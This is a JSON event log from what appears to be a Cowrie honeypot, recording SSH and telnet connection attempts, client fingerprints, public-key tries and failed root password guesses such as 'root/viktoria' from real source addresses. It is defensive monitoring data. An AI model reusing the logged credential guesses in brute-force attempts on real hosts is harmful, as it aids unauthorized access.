{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:35.602325Z","src_ip":"62.133.63.178","session":"78ad055621b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:35.726830Z","src_ip":"62.133.63.178","session":"78ad055621b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viktoria","message":"login attempt [root/viktoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:36.087865Z","src_ip":"62.133.63.178","session":"78ad055621b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:37.210639Z","src_ip":"62.133.63.178","session":"78ad055621b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.255.204.163","src_port":52034,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f09512fcb34","protocol":"ssh","message":"New connection: 51.255.204.163:52034 (10.17.0.5:22) [session: 6f09512fcb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:47.371277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:47.375421Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:47.455551Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:03:be:81:d6:54:82:03:c1:bd:f1:28:d6:be:b9:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1TdyQf53KD3mtQ1ItGLmSpTslYlqlXs1K7xN+yutdgI2Bp+zs66ZTLcY+XWKn+3avP6xBMq27oRz390xBcwvpZ7IWvM1Bra0uOty1c7IIOUwH23QTnEwJbeQpEuq8NNuiROdzo6Haj0MkZ8wQygBN8E2vzfxVlIaTbKlNC7i0BzjDuj+bDJ4IFk9AtYuZwulc/j4YWR4XUCF7m4mPGASXsvAtTDo+Vq9xdD/H1uCr+iAJIA+AQwbQLULY8bF7dV4xunCaJ7I8Lndx2DDM87agwyQOT+1P2u75mBz4/PpiAGzMrNKXRQAaV/QjzGVBJ2IOriZ+g/X+heCzOxRxyMdb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:03:be:81:d6:54:82:03:c1:bd:f1:28:d6:be:b9:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:47.833169Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:03:be:81:d6:54:82:03:c1:bd:f1:28:d6:be:b9:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1TdyQf53KD3mtQ1ItGLmSpTslYlqlXs1K7xN+yutdgI2Bp+zs66ZTLcY+XWKn+3avP6xBMq27oRz390xBcwvpZ7IWvM1Bra0uOty1c7IIOUwH23QTnEwJbeQpEuq8NNuiROdzo6Haj0MkZ8wQygBN8E2vzfxVlIaTbKlNC7i0BzjDuj+bDJ4IFk9AtYuZwulc/j4YWR4XUCF7m4mPGASXsvAtTDo+Vq9xdD/H1uCr+iAJIA+AQwbQLULY8bF7dV4xunCaJ7I8Lndx2DDM87agwyQOT+1P2u75mBz4/PpiAGzMrNKXRQAaV/QjzGVBJ2IOriZ+g/X+heCzOxRxyMdb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:47.836937Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:1e:ae:bf:94:c7:2c:b2:68:5d:15:fd:ed:64:1c:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoMDoLWlSZ2ryY/yKWV8MgMleiE7SZmlg3/435RkFBgercvEHli4LneJHRXJOE8cB8GZbsEIEcuHXYuDvOFHXR/PwwYrzbNq7VdFjakd38bHjILtuo3vRvBgQfJ3KATU3rUzWyvsa6N86SNhj3CuLORyTlDjdCtgnvl4P89rMNIYombns2rwlOo85FP13ST6sLnfKrjGtQ6OcX4x2nFN0kXeVKD7ans2LAuXFs9GLUZAta5EOgtaV9tUlaCmBPEVy87gvSc7+S78lWqphgUbaZCr4ZXzy4+9iy9uT1WcljB5JrXqrFil7jlb/zpiX6musJrf6cdkYgvcgvWFENjcIP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:1e:ae:bf:94:c7:2c:b2:68:5d:15:fd:ed:64:1c:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:47.917004Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:1e:ae:bf:94:c7:2c:b2:68:5d:15:fd:ed:64:1c:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoMDoLWlSZ2ryY/yKWV8MgMleiE7SZmlg3/435RkFBgercvEHli4LneJHRXJOE8cB8GZbsEIEcuHXYuDvOFHXR/PwwYrzbNq7VdFjakd38bHjILtuo3vRvBgQfJ3KATU3rUzWyvsa6N86SNhj3CuLORyTlDjdCtgnvl4P89rMNIYombns2rwlOo85FP13ST6sLnfKrjGtQ6OcX4x2nFN0kXeVKD7ans2LAuXFs9GLUZAta5EOgtaV9tUlaCmBPEVy87gvSc7+S78lWqphgUbaZCr4ZXzy4+9iy9uT1WcljB5JrXqrFil7jlb/zpiX6musJrf6cdkYgvcgvWFENjcIP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:47.924012Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:4e:0b:a3:17:25:3a:bb:44:cb:3a:44:9b:02:65:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/x4VsSsvhwO5aupOtFzEVUq7eJke1fEIWJY5r8sEopYRbX++VJ+XLVFrIwG9zNabmpbJ+axInTp/GboUJ4NS0BnGDWYTGpsKpx55mlKiv19J1ddjaRdxWqMswk9jNwG0IWmuZS5jEnKk7MAMbqVJ/Tw9JCZeCRKbASdDNHGo5K8Z41DeeVQMlXG57OJB3pT2DpftHmjBfbY0XHseoy3G2uNy7RUfOvOMesEv2urrPZ4vkxA4T/RYrf2kJV6TZ/5r/OnuqdWfhsABjC9GihroPPc9eI04LzRwdquBPHRAMNpzuBHaFTTTQRP5FLLeAQ6bLscLRdGjMta/mcIrdHLoP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:4e:0b:a3:17:25:3a:bb:44:cb:3a:44:9b:02:65:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:48.005635Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:4e:0b:a3:17:25:3a:bb:44:cb:3a:44:9b:02:65:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/x4VsSsvhwO5aupOtFzEVUq7eJke1fEIWJY5r8sEopYRbX++VJ+XLVFrIwG9zNabmpbJ+axInTp/GboUJ4NS0BnGDWYTGpsKpx55mlKiv19J1ddjaRdxWqMswk9jNwG0IWmuZS5jEnKk7MAMbqVJ/Tw9JCZeCRKbASdDNHGo5K8Z41DeeVQMlXG57OJB3pT2DpftHmjBfbY0XHseoy3G2uNy7RUfOvOMesEv2urrPZ4vkxA4T/RYrf2kJV6TZ/5r/OnuqdWfhsABjC9GihroPPc9eI04LzRwdquBPHRAMNpzuBHaFTTTQRP5FLLeAQ6bLscLRdGjMta/mcIrdHLoP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:48.009450Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:d6:03:2b:28:a0:c0:ab:83:64:25:0c:03:5d:1d:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpGCQOSw63eC2p/t9thZPBHofuQpTBAXpeoSrBNxa/2T0G1E/1Y56cT4UxuXdLz85dEXUsjmQLMpTxp1aOYRdEzpo2f5cFKRviuURGgtnPJEj8Eal+G5VdBj54AnEsurQgN3rJzTaUxDBZA7ww4hNys4iOqPt0dIeNL9LGweuP4rEaIVaHcieAZcxpIxWZpnl0PdDxCYFPLcFI/4C85rlSSEhmHvtlGCJcSC2J2k/QEVy8c6eefzTX/AmdF9FWKpMPk9MII/heASoPAHPc1J2Hqq07usbdX4o+z10IQo9h2i3vI9Q/jW9vSMZ+TQV7yzUu15ouVRb6dkWt7ljGnjCr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:d6:03:2b:28:a0:c0:ab:83:64:25:0c:03:5d:1d:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:48.089465Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:d6:03:2b:28:a0:c0:ab:83:64:25:0c:03:5d:1d:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpGCQOSw63eC2p/t9thZPBHofuQpTBAXpeoSrBNxa/2T0G1E/1Y56cT4UxuXdLz85dEXUsjmQLMpTxp1aOYRdEzpo2f5cFKRviuURGgtnPJEj8Eal+G5VdBj54AnEsurQgN3rJzTaUxDBZA7ww4hNys4iOqPt0dIeNL9LGweuP4rEaIVaHcieAZcxpIxWZpnl0PdDxCYFPLcFI/4C85rlSSEhmHvtlGCJcSC2J2k/QEVy8c6eefzTX/AmdF9FWKpMPk9MII/heASoPAHPc1J2Hqq07usbdX4o+z10IQo9h2i3vI9Q/jW9vSMZ+TQV7yzUu15ouVRb6dkWt7ljGnjCr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:48.092452Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:ab:64:8d:92:cf:22:90:82:d1:10:8c:80:d3:f2:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4RTGeb1wb9JLGjAs3C/6ZVsHtdhu4Z3vkp3O4K1d0Flm4hczHNkVqHYAmxUfPXHSc9He0OcyRbLgHVA7EdmzkfIfqdbzDQqY3Wll6zVyfLUbnlMaxOyD577qMFDUi99GIOXBogwjaohoU/LpLwS2yUnnzFtxJdNMMLwshEJbvCvbHpW8unxE+mdLdU+iPhsKLKxPMekt15+7mITS+OybRy6qh+cfdLCrA0Zh0QV7RU6TW9zmQMCZHfcklj7k9/3UqTO34LWYfp9g/LmsGtJsBQu0BmBmGPuXoGiJJ6rRgqqy2MeMpL3/M3pL3NIcqSiSU0DIijzgOQ5WUSYZVe/RL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:ab:64:8d:92:cf:22:90:82:d1:10:8c:80:d3:f2:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:48.171601Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:ab:64:8d:92:cf:22:90:82:d1:10:8c:80:d3:f2:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4RTGeb1wb9JLGjAs3C/6ZVsHtdhu4Z3vkp3O4K1d0Flm4hczHNkVqHYAmxUfPXHSc9He0OcyRbLgHVA7EdmzkfIfqdbzDQqY3Wll6zVyfLUbnlMaxOyD577qMFDUi99GIOXBogwjaohoU/LpLwS2yUnnzFtxJdNMMLwshEJbvCvbHpW8unxE+mdLdU+iPhsKLKxPMekt15+7mITS+OybRy6qh+cfdLCrA0Zh0QV7RU6TW9zmQMCZHfcklj7k9/3UqTO34LWYfp9g/LmsGtJsBQu0BmBmGPuXoGiJJ6rRgqqy2MeMpL3/M3pL3NIcqSiSU0DIijzgOQ5WUSYZVe/RL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:48.175256Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:48.254577Z","src_ip":"51.255.204.163","session":"6f09512fcb34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":43970,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f005f086c2e","protocol":"ssh","message":"New connection: 80.94.92.168:43970 (10.17.0.5:22) [session: 2f005f086c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:24:01.413305Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:24:01.526047Z","src_ip":"80.94.92.168","session":"2f005f086c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49779,"dst_ip":"159.203.135.109","dst_port":22,"session":"c761d43bc2de","protocol":"ssh","message":"New connection: 152.42.212.128:49779 (159.203.135.109:22) [session: c761d43bc2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:24:03.110127Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:24:03.117444Z","src_ip":"152.42.212.128","session":"c761d43bc2de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:24:03.122804Z","src_ip":"152.42.212.128","session":"c761d43bc2de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.62455701828003,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:24:12.645568Z","src_ip":"152.42.224.71","session":"69bcd8584e28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35234,"dst_ip":"10.17.0.5","dst_port":23,"session":"2258b1c3cc7f","protocol":"telnet","message":"New connection: 152.42.224.71:35234 (10.17.0.5:23) [session: 2258b1c3cc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:24:25.339136Z"}
{"eventid":"cowrie.session.closed","duration":54.14901328086853,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:25:19.488055Z","src_ip":"152.42.224.71","session":"2258b1c3cc7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.96.228.86","src_port":33466,"dst_ip":"10.17.0.5","dst_port":23,"session":"a20f9c2c3fc0","protocol":"telnet","message":"New connection: 123.96.228.86:33466 (10.17.0.5:23) [session: a20f9c2c3fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:25:22.581871Z"}
{"eventid":"cowrie.session.closed","duration":13.299721479415894,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:25:35.881438Z","src_ip":"123.96.228.86","session":"a20f9c2c3fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44554,"dst_ip":"10.17.0.5","dst_port":22,"session":"53f3bcf4de6b","protocol":"ssh","message":"New connection: 80.94.92.184:44554 (10.17.0.5:22) [session: 53f3bcf4de6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:01.383967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:01.611388Z","src_ip":"80.94.92.184","session":"53f3bcf4de6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:01.614627Z","src_ip":"80.94.92.184","session":"53f3bcf4de6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:02.764710Z","src_ip":"80.94.92.184","session":"53f3bcf4de6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:04.203498Z","src_ip":"80.94.92.184","session":"53f3bcf4de6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":54966,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b643fbd916e","protocol":"ssh","message":"New connection: 103.173.227.57:54966 (10.17.0.5:22) [session: 8b643fbd916e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:09.101877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:09.105899Z","src_ip":"103.173.227.57","session":"8b643fbd916e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:09.345051Z","src_ip":"103.173.227.57","session":"8b643fbd916e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha1997","message":"login attempt [root/sasha1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:10.062835Z","src_ip":"103.173.227.57","session":"8b643fbd916e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:11.305749Z","src_ip":"103.173.227.57","session":"8b643fbd916e","protocol":"ssh"}
